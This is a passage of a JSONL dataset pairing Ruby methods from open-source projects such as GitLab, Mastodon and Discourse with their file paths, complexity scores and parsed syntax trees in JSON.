\"]}]},{\"type\":\"lvasgn\",\"children\":[\"removed\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"chdir\",{\"type\":\"send\",\"children\":[null,\"backup_path\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"backup_file_list\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"matched\",{\"type\":\"send\",\"children\":[null,\"backup_file?\",{\"type\":\"lvar\",\"children\":[\"file\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"matched\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"timestamp\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"matched\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"to_i\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"at\",{\"type\":\"lvar\",\"children\":[\"timestamp\"]}]},\"<\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"keep_time\"]}]}]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"rm\",{\"type\":\"lvar\",\"children\":[\"file\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"removed\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Deleting \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]}]},{\"type\":\"str\",\"children\":[\" failed: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]},null]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Deleting old backups ... done. (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"removed\"]}]},{\"type\":\"str\",\"children\":[\" removed)\"]}]}]}]}]}","id":"975b2c54-e1f8-4a7b-9713-f4ebe97b0727"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/database/prevent_cross_joins.rb","start_line":27,"raw_source":"def self.validate_cross_joins!(sql)\n      return if Thread.current[ALLOW_THREAD_KEY] || sql.include?(ALLOW_ANNOTATE_KEY)\n\n      # Allow spec/support/database_cleaner.rb queries to disable/enable triggers for many tables\n      # See https://gitlab.com/gitlab-org/gitlab/-/issues/339396\n      return if sql.include?(\"DISABLE TRIGGER\") || sql.include?(\"ENABLE TRIGGER\")\n\n      tables = begin\n        PgQuery.parse(sql).tables\n      rescue PgQuery::ParseError\n        # PgQuery might fail in some cases due to limited nesting:\n        # https://github.com/pganalyze/pg_query/issues/209\n        return\n      end\n\n      schemas = ::Gitlab::Database::GitlabSchema.table_schemas!(tables)\n\n      unless ::Gitlab::Database::GitlabSchema.cross_joins_allowed?(schemas, tables)\n        Thread.current[:has_cross_join_exception] = true\n        raise CrossJoinAcrossUnsupportedTablesError,\n          \"Unsupported cross-join across '#{tables.join(', ')}' querying '#{schemas.to_a.join(', ')}' discovered \" \\\n          \"when executing query '#{sql}'. Please refer to https://docs.gitlab.com/ee/development/database/multiple_databases.html#removing-joins-between-main-and-non-main-tables for details on how to resolve this exception.\"\n      end\n    end","complexity_score":26.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"validate_cross_joins!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sql\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"current\"]},\"[]\",{\"type\":\"const\",\"children\":[null,\"ALLOW_THREAD_KEY\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql\"]},\"include?\",{\"type\":\"const\",\"children\":[null,\"ALLOW_ANNOTATE_KEY\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql\"]},\"include?\",{\"type\":\"str\",\"children\":[\"DISABLE TRIGGER\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql\"]},\"include?\",{\"type\":\"str\",\"children\":[\"ENABLE TRIGGER\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"tables\",{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PgQuery\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"sql\"]}]},\"tables\"]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PgQuery\"]},\"ParseError\"]}]},null,{\"type\":\"return\",\"children\":[]}]},null]}]}]},{\"type\":\"lvasgn\",\"children\":[\"schemas\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Database\"]},\"GitlabSchema\"]},\"table_schemas!\",{\"type\":\"lvar\",\"children\":[\"tables\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Database\"]},\"GitlabSchema\"]},\"cross_joins_allowed?\",{\"type\":\"lvar\",\"children\":[\"schemas\"]},{\"type\":\"lvar\",\"children\":[\"tables\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"current\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"has_cross_join_exception\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"CrossJoinAcrossUnsupportedTablesError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unsupported cross-join across '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tables\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"str\",\"children\":[\"' querying '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"schemas\"]},\"to_a\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"str\",\"children\":[\"' discovered \"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"when executing query '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql\"]}]},{\"type\":\"str\",\"children\":[\"'. Please refer to https://docs.gitlab.com/ee/development/database/multiple_databases.html#removing-joins-between-main-and-non-main-tables for details on how to resolve this exception.\"]}]}]}]}]}]}]}]}","id":"31b80527-6795-4f1f-8152-98a6146f1be7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/packages/pipelines_finder.rb","start_line":11,"raw_source":"def execute\n      ::Ci::Pipeline\n        .id_in(pipeline_ids)\n        .select(COLUMNS)\n        .order_id_desc\n    end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"Pipeline\"]},\"id_in\",{\"type\":\"send\",\"children\":[null,\"pipeline_ids\"]}]},\"select\",{\"type\":\"const\",\"children\":[null,\"COLUMNS\"]}]},\"order_id_desc\"]}]}","id":"673b924a-3852-4f14-b36a-bf93733952f4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/trace/checksum.rb","start_line":96,"raw_source":"def has_bytesize?\n          state_bytesize.present?\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_bytesize?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"state_bytesize\"]},\"present?\"]}]}","id":"91c06d16-debe-4bd7-8e82-b34b871ebab2"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/signed_request.rb","start_line":28,"raw_source":"def verified?(actor)\n      signature = Base64.decode64(signature_params['signature'])\n      compare_signed_string = build_signed_string(include_query_string: true)\n\n      return true unless verify_signature(actor, signature, compare_signed_string).nil?\n\n      compare_signed_string = build_signed_string(include_query_string: false)\n      return true unless verify_signature(actor, signature, compare_signed_string).nil?\n\n      false\n    end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"verified?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"actor\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"signature\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Base64\"]},\"decode64\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"signature_params\"]},\"[]\",{\"type\":\"str\",\"children\":[\"signature\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"compare_signed_string\",{\"type\":\"send\",\"children\":[null,\"build_signed_string\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_query_string\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"verify_signature\",{\"type\":\"lvar\",\"children\":[\"actor\"]},{\"type\":\"lvar\",\"children\":[\"signature\"]},{\"type\":\"lvar\",\"children\":[\"compare_signed_string\"]}]},\"nil?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"compare_signed_string\",{\"type\":\"send\",\"children\":[null,\"build_signed_string\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_query_string\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"verify_signature\",{\"type\":\"lvar\",\"children\":[\"actor\"]},{\"type\":\"lvar\",\"children\":[\"signature\"]},{\"type\":\"lvar\",\"children\":[\"compare_signed_string\"]}]},\"nil?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"false\",\"children\":[]}]}]}","id":"3918abaa-f8e7-481d-a979-90cc66b11e2f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/project.rb","start_line":2991,"raw_source":"def forks_count\n    BatchLoader.for(self).batch do |projects, loader|\n      fork_count_per_project = ::Projects::BatchForksCountService.new(projects).refresh_cache_and_retrieve_data\n\n      fork_count_per_project.each do |project, count|\n        loader.call(project, count)\n      end\n    end\n  end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"forks_count\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BatchLoader\"]},\"for\",{\"type\":\"self\",\"children\":[]}]},\"batch\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"projects\"]},{\"type\":\"arg\",\"children\":[\"loader\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fork_count_per_project\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Projects\"]},\"BatchForksCountService\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"projects\"]}]},\"refresh_cache_and_retrieve_data\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fork_count_per_project\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"count\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loader\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"count\"]}]}]}]}]}]}","id":"cd923ecc-68a0-4dcd-ae47-bb0b3c2ee1ec"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/completions/dialects/dialect.rb","start_line":295,"raw_source":"def tool_msg(msg)\n          new_content = tools_dialect.from_raw_tool(msg)\n          msg = msg.merge(content: new_content)\n          user_msg(msg)\n        end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"tool_msg\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"msg\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_content\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tools_dialect\"]},\"from_raw_tool\",{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"msg\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"lvar\",\"children\":[\"new_content\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"user_msg\",{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}]}","id":"a7087a9d-521d-4d7b-81c7-649689e08019"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/text_formatting/matchers/resource_links_matcher.rb","start_line":131,"raw_source":"def self.process_match(m, matched_string, context)\n        # Leading string before match\n        instance = new(\n          matched_string:,\n          leading: m[1],\n          escaped: m[2],\n          project_prefix: m[3],\n          project_identifier: m[4],\n          prefix: m[5],\n          sep: m[7] || m[9],\n          raw_identifier: m[8] || m[10],\n          identifier: m[8] || m[11] || m[10],\n          context:\n        )\n\n        instance.process\n      end","complexity_score":27.63,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"process_match\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"m\"]},{\"type\":\"arg\",\"children\":[\"matched_string\"]},{\"type\":\"arg\",\"children\":[\"context\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"instance\",{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"matched_string\"]},{\"type\":\"lvar\",\"children\":[\"matched_string\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"leading\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"escaped\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_prefix\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"[]\",{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_identifier\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"[]\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"prefix\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"[]\",{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sep\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"[]\",{\"type\":\"int\",\"children\":[7]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"[]\",{\"type\":\"int\",\"children\":[9]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raw_identifier\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"[]\",{\"type\":\"int\",\"children\":[8]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"[]\",{\"type\":\"int\",\"children\":[10]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"identifier\"]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"[]\",{\"type\":\"int\",\"children\":[8]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"[]\",{\"type\":\"int\",\"children\":[11]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"[]\",{\"type\":\"int\",\"children\":[10]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"context\"]},{\"type\":\"lvar\",\"children\":[\"context\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instance\"]},\"process\"]}]}]}","id":"f4678660-d0a8-4adb-affd-7aa5a3365f64"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/concerns/spree/admin/analytics_concern.rb","start_line":30,"raw_source":"def previous_analytics_time_range\n        duration = analytics_time_range.last - analytics_time_range.first\n\n        @previous_analytics_time_range ||= analytics_time_range.first.ago(duration)..analytics_time_range.last.ago(duration).end_of_day\n      end","complexity_score":17.0,"ast_json":"{\"type\":\"def\",\"children\":[\"previous_analytics_time_range\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"duration\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"analytics_time_range\"]},\"last\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"analytics_time_range\"]},\"first\"]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@previous_analytics_time_range\"]},{\"type\":\"irange\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"analytics_time_range\"]},\"first\"]},\"ago\",{\"type\":\"lvar\",\"children\":[\"duration\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"analytics_time_range\"]},\"last\"]},\"ago\",{\"type\":\"lvar\",\"children\":[\"duration\"]}]},\"end_of_day\"]}]}]}]}]}","id":"8c13d0c0-402f-4209-b490-241983aadea8"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/spec/models/notification_spec.rb","start_line":295,"raw_source":"def reblog_attributes\n          have_attributes(\n            type: :reblog,\n            status: have_loaded_association(:reblog),\n            target_status: eq(reblog.reblog).and(have_loaded_association(:account))\n          ).and(have_loaded_association(:status))\n        end","complexity_score":13.2,"ast_json":"{\"type\":\"def\",\"children\":[\"reblog_attributes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"have_attributes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"reblog\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"send\",\"children\":[null,\"have_loaded_association\",{\"type\":\"sym\",\"children\":[\"reblog\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reblog\"]},\"reblog\"]}]},\"and\",{\"type\":\"send\",\"children\":[null,\"have_loaded_association\",{\"type\":\"sym\",\"children\":[\"account\"]}]}]}]}]}]},\"and\",{\"type\":\"send\",\"children\":[null,\"have_loaded_association\",{\"type\":\"sym\",\"children\":[\"status\"]}]}]}]}","id":"ba9715a3-71c0-4aa4-a5ea-4aa3eef82e63"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/group_bys/base.rb","start_line":55,"raw_source":"def apply_to(query_scope)\n        query_scope = query_scope.joins(joins) if joins\n        group_by query_scope\n      end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"apply_to\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query_scope\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"joins\"]},{\"type\":\"lvasgn\",\"children\":[\"query_scope\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_scope\"]},\"joins\",{\"type\":\"send\",\"children\":[null,\"joins\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"group_by\",{\"type\":\"lvar\",\"children\":[\"query_scope\"]}]}]}]}","id":"771408e6-44d3-47f7-ae50-71fad6239543"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/controllers/api/v1/accounts/captain/assistants_controller.rb","start_line":42,"raw_source":"def set_assistant\n    @assistant = account_assistants.find(params[:id])\n  end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"set_assistant\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@assistant\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"account_assistants\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}","id":"bffd8c25-caeb-425b-91c8-6c5e0e985f27"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/crm/leadsquared/api/base_client.rb","start_line":74,"raw_source":"def parse_response(response)\n    body = response.parsed_response\n\n    if body.is_a?(Hash) && body['Status'] == 'Error'\n      error_message = body['ExceptionMessage'] || 'Unknown API error'\n      raise ApiError.new(error_message, response.code, response)\n    else\n      body\n    end\n  end","complexity_score":15.4,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_response\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"response\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"parsed_response\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Status\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"Error\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error_message\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ExceptionMessage\"]}]},{\"type\":\"str\",\"children\":[\"Unknown API error\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ApiError\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"error_message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"code\"]},{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"body\"]}]}]}]}","id":"7756f9ac-5045-43de-b048-7657eaab195e"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/ruby_parser/bm_sexp.rb","start_line":71,"raw_source":"def to_sym\n    self.value.to_sym\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"to_sym\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"value\"]},\"to_sym\"]}]}","id":"9170faf0-6fbb-4aab-b66b-ed729f5e5d77"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/mapper_test.rb","start_line":96,"raw_source":"def test_via_scope\n        fakeset = FakeSet.new\n        mapper = Mapper.new fakeset\n        mapper.scope(via: :put) do\n          mapper.match \"/\", to: \"posts#index\", as: :main\n        end\n        assert_equal(\"PUT\", fakeset.routes.first.verb)\n      end","complexity_score":12.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_via_scope\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fakeset\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FakeSet\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"mapper\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mapper\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"fakeset\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mapper\"]},\"scope\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"via\"]},{\"type\":\"sym\",\"children\":[\"put\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mapper\"]},\"match\",{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"str\",\"children\":[\"posts#index\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"as\"]},{\"type\":\"sym\",\"children\":[\"main\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"PUT\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fakeset\"]},\"routes\"]},\"first\"]},\"verb\"]}]}]}]}","id":"519645da-c829-47ea-90e9-9bbc29413be7"}
